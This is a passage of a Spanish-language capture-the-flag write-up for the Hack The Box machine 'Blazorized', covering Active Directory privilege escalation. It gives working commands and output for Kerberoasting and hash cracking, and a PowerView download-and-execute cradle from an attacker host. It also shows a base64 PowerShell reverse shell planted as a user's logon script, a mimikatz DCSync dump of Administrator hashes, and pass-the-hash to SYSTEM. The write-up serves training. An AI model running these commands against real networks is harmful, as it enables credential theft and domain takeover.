donde serviceprincipalname pueden ser las palabras que queramos siempre y cuando sigan el formato palabra1/palabra2.

Entonces solicitamos un ticket para este usuario:

PS C:\Users\Public\Downloads> Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat

Get-DomainUser RSA_4810 -SPN | Get-DomainSPNTicket -Format Hashcat


SamAccountName       : RSA_4810
DistinguishedName    : CN=RSA_4810,CN=Users,DC=blazorized,DC=htb
ServicePrincipalName : htb/gunzf0x
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864
                       738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92
                       E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F
                       24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3
                       B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B
                       857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04
                       271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6F
                       E3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D
                       9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8
                       FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E30888
                       30318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D6
                       8B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F
                       1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2
                       C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF142
                       9BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45
                       C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F
                       9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2
                       078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1
                       EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543F
                       E70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0
                       664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB
                       8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E86
                       8879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E8
                       3CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95F
                       CEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52F
                       F1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48D
                       A898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947D
                       CA6

Guardamos este hash en un archivo:

❯ cat RSA_4810_hash

$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6FE3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E3088830318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D68B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF1429BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543FE70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E868879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E83CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95FCEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52FF1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48DA898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947DCA6

Intentamos crackearlo a través de un Brute Force Password Cracking con Hashcat:

❯ hashcat -m 13100 -O -a 0 RSA_4810_hash /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting
<SNIP>

$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$c500617d<SNIP>80b947dca6:(Ni7856Do9854Ki05Ng0005 #)

<SNIP>

Obtenemos credenciales: RSA_4810:(Ni7856Do9854Ki05Ng0005 #).

Revisamos si estas credenciales funcionan usando la herramienta NetExec en el servicio WinRM:

❯ netexec winrm 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'

WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\RSA_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)

y funcionan.

Así es como nos conectamos como el usuario RSA_4810 a través de WinRM con evil-winrm. Una vez logueados, revisamos los grupos de este usuario:

*Evil-WinRM* PS C:\Users\Public\Downloads> net user RSA_4810

User name                    RSA_4810
Full Name                    RSA_4810
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/25/2024 12:55:59 PM
Password expires             Never
Password changeable          2/26/2024 12:55:59 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/2/2024 12:44:30 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *Remote_Support_Admini
The command completed successfully.

El grupo Remote_Support_Admini es nuevo.

Buscando por archivos eventualmente llegamos al directorio C:\Windows\sysvol\sysvol\blazorized.htb\scripts:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> dir


    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:38 PM                11DBDAEB100D
d-----        5/29/2024   2:33 PM                A2BFDCF13BB2
d-----        6/20/2024   9:06 AM                A32FF3AEAA23
d-----        5/29/2024   2:36 PM                CADFDDCE0BAD
d-----        5/29/2024   2:37 PM                CAFE30DAABCB

Donde podemos ver algunos directorios.

Notamos que este usuario, RSA_4810, puede escribir en el directorio A32FF3AEAA23:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> cmd.exe /c icacls A32FF3AEAA23

A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
             BLAZORIZED\Administrator:(OI)(CI)(F)
             BUILTIN\Administrators:(I)(F)
             CREATOR OWNER:(I)(OI)(CI)(IO)(F)
             NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
             BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
             BUILTIN\Server Operators:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

En este directorio tenemos más directorios y un archivo .bat vacío:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir


    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:34 PM                113EB3B0B2D3
d-----        5/29/2024   2:34 PM                21FDFAAFC1D0
d-----        5/29/2024   2:33 PM                23010E0A1A33
d-----        5/29/2024   2:34 PM                2BECF3DC0B3D
d-----        5/29/2024   2:33 PM                2F3FCC01E0A3
d-----        5/29/2024   2:34 PM                3DACA30B03D1
d-----        5/29/2024   2:34 PM                3EAF2A3E0CED
d-----        5/29/2024   2:34 PM                A3F211DCB11D
d-----        5/29/2024   2:33 PM                AADE1BA2A3E3
d-----        5/29/2024   2:34 PM                AC2210DC311B
d-----        5/29/2024   2:34 PM                B2ACCF2BABFB
d-----        5/29/2024   2:33 PM                BE11A3E0EA13
d-----        5/29/2024   2:33 PM                BFDDF0E1B33E
d-----        5/29/2024   2:34 PM                C20F1322FB3C
d-----        5/29/2024   2:34 PM                CD102CDEFD0E
d-----        5/29/2024   2:34 PM                CED022B22EBA
d-----        5/29/2024   2:33 PM                D0ECECBC1CCF
d-----        5/29/2024   2:33 PM                F1D30FCB0100
d-----        5/29/2024   2:33 PM                FD33C0CE11AC
-a----        5/29/2024   2:33 PM              0 02FCE0D1303F.bat


*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> type 02FCE0D1303F.bat

Pero nada prometedor. No obstante, dado que este usuario puede escribir archivos y este directorio contiene scripts, puede que halla algún servicio/usuario ejecutando estos scripts.

Volvemos a subir PowerView.ps1, lo importamos para este nuevo usuario y usamos el comando Get-NetUser para obtener información de logueos de usuarios en el dominio:

*Evil-WinRM* PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')

*Evil-WinRM* PS C:\Users\Public\Downloads> Get-NetUser


logoncount                    : 437
badpasswordtime               : 7/1/2024 8:00:42 AM
description                   : Built-in account for administering the computer/domain
distinguishedname             : CN=Administrator,CN=Users,DC=blazorized,DC=htb
objectclass                   : {top, person, organizationalPerson, user}
lastlogontimestamp            : 7/12/2024 5:37:37 AM
name                          : Administrator
objectsid                     : S-1-5-21-2039403211-964143010-2924010611-500
samaccountname                : Administrator
logonhours                    : {255, 255, 255, 255...}
<SNIP>
logoncount            : 3389
badpasswordtime       : 6/19/2024 9:58:18 AM
distinguishedname     : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
objectclass           : {top, person, organizationalPerson, user}
displayname           : SSA_6010
lastlogontimestamp    : 7/12/2024 5:37:37 AM
userprincipalname     : SSA_6010@blazorized.htb
name                  : SSA_6010
objectsid             : S-1-5-21-2039403211-964143010-2924010611-1124
samaccountname        : SSA_6010
codepage              : 0
samaccounttype        : USER_OBJECT
accountexpires        : NEVER

Hay un usuario llamado SSA_6010 el cual tiene un inusual número de logins (3389 en mi caso, puede que sean más o menos en su caso). En un entorno Active Directory, la variable logoncount se atribuye al número total de logueos exitosos que el usuario ha tenido. Y claramente más de 3000 logueos es algo un poco inusual.

Crearemos entonces un archivo .bat malicioso usando una reverse shell para Powershell de https://www.revshells.com/. Más específicamente, usaremos un payload de tipo PowerShell #3 (Base64) con nuestra IP de atacante y puerto en escucha 443. Podemos escribir el archivo .bat con el payload en un oneliner:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgCkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' | Out-File -FilePath C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat -Encoding ASCII

y nuestro archivo está allí:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir

    Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/29/2024   2:34 PM                113EB3B0B2D3
<SNIP>
d-----        5/29/2024   2:33 PM                FD33C0CE11AC
-a----        5/29/2024   2:33 PM              0 02FCE0D1303F.bat
-a----        7/22/2024   1:21 AM           1344 exploit.bat

La idea de este archivo es que se ejecute cuando el usuario SSA_6010 se loguee. Y como este usuario se loguea de manera continua, ejecutará este script. Para que este usuario ejecute el script al loguearse podemos tratar de modificar los atributos de SSA_6010 en el entorno AD usando el comando Set-ADUser:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> Set-ADUser -Identity SSA_6010 -ScriptPath 'C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat'

Nos ponemos en escucha con netcat en el puerto 443. Luego de algunos momentos obtenemos una shell como el usuario SSA_6010:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 61491
whoami

blazorized\ssa_6010
PS C:\Windows\system32>

Este nuevo usuario es parte del gurpo Super_Support_Administrators:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-DomainUser -Identity SSA_6010  |select samaccountname,objectsid,memberof,useraccountcontrol |fl


samaccountname     : SSA_6010
objectsid          : S-1-5-21-2039403211-964143010-2924010611-1124
memberof           : {CN=Super_Support_Administrators,CN=Users,DC=blazorized,DC=htb, CN=Remote Management Users,CN=Builtin,DC=blazorized,DC=htb}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Podemos revisar si este usuario puede performar una ataque DCSync. Para ello podemos extraer el SID de ssa_6010 (el cual se muestra en el output del comando Get-NetUser ejecutado anteriormente) y ejecutar en la terminal de RSA_4810:

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> $sid = 'S-1-5-21-2039403211-964143010-2924010611-1124'

*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-ObjectAcl "DC=blazorized,DC=htb" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')}


AceQualifier           : AccessAllowed
ObjectDN               : DC=blazorized,DC=htb
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes
ObjectSID              : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2039403211-964143010-2924010611-498
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

AceQualifier           : AccessAllowed
ObjectDN               : DC=blazorized,DC=htb
ActiveDirectoryRights  : ExtendedRight
ObjectAceType          : DS-Replication-Get-Changes-All
ObjectSID              : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2039403211-964143010-2924010611-516
AccessMask             : 256
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0

<SNIP>

Obtenemos AccessAllowed. De manera que podemos performar el ataque.

Si bien tenemos acceso a este usuario, no tenemos su contraseña; de manera que performar este ataque mediante secretsdump.py de Impacket no es posible en esta ocasión. En su lugar, podemos tratar de hacerlo de manera “local” usando la herramienta mimikatz. Pasamos un binario de mimikatz (el cual puede ser descargado desde su repositorio de Github) a la máquina víctima, pasamos de una Powershell a una CMD (lo cual se puede hacer enviándonos una nueva reverse shell dentro de la terminal del usuario ssa_6010 usando los binarios de nc), e intentamos performar una ataque DCSync contra el usuario Administrator:

C:\Users\Public\Downloads>.\mimikatz.exe

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator

[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : Administrator

** SAM ACCOUNT **

SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500

Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba
<SNIP>

Obtenemos un hash.

Revisamos si este hash NT funciona para loguearse, por ejemplo, a través de WinRM con NetExec:

❯ netexec winrm 10.10.11.22 -u 'Administrator' -H 'f55ed1465179ba374ec1cad05b34a5f3'

WINRM       10.10.11.22     5985   DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM       10.10.11.22     5985   DC1              [+] blazorized.htb\Administrator:f55ed1465179ba374ec1cad05b34a5f3 (Pwn3d!)

Y funciona. Simplemente porque puedo, podemos también usar este hash con psexec.py a través de SMB performando un ataque Pass The Hash:

❯ python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes ad37753b9f78b6b98ec3bb65e5995c73:f55ed1465179ba374ec1cad05b34a5f3 Administrator@blazorized.htb cmd.exe

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on blazorized.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XphekYjf.exe
[*] Opening SVCManager on blazorized.htb.....
[*] Creating service DUqR on blazorized.htb.....
[*] Starting service DUqR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5933]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

GG. Podemos leer la flag root en el directorio Desktop del usuario Administrator.

~Happy Hacking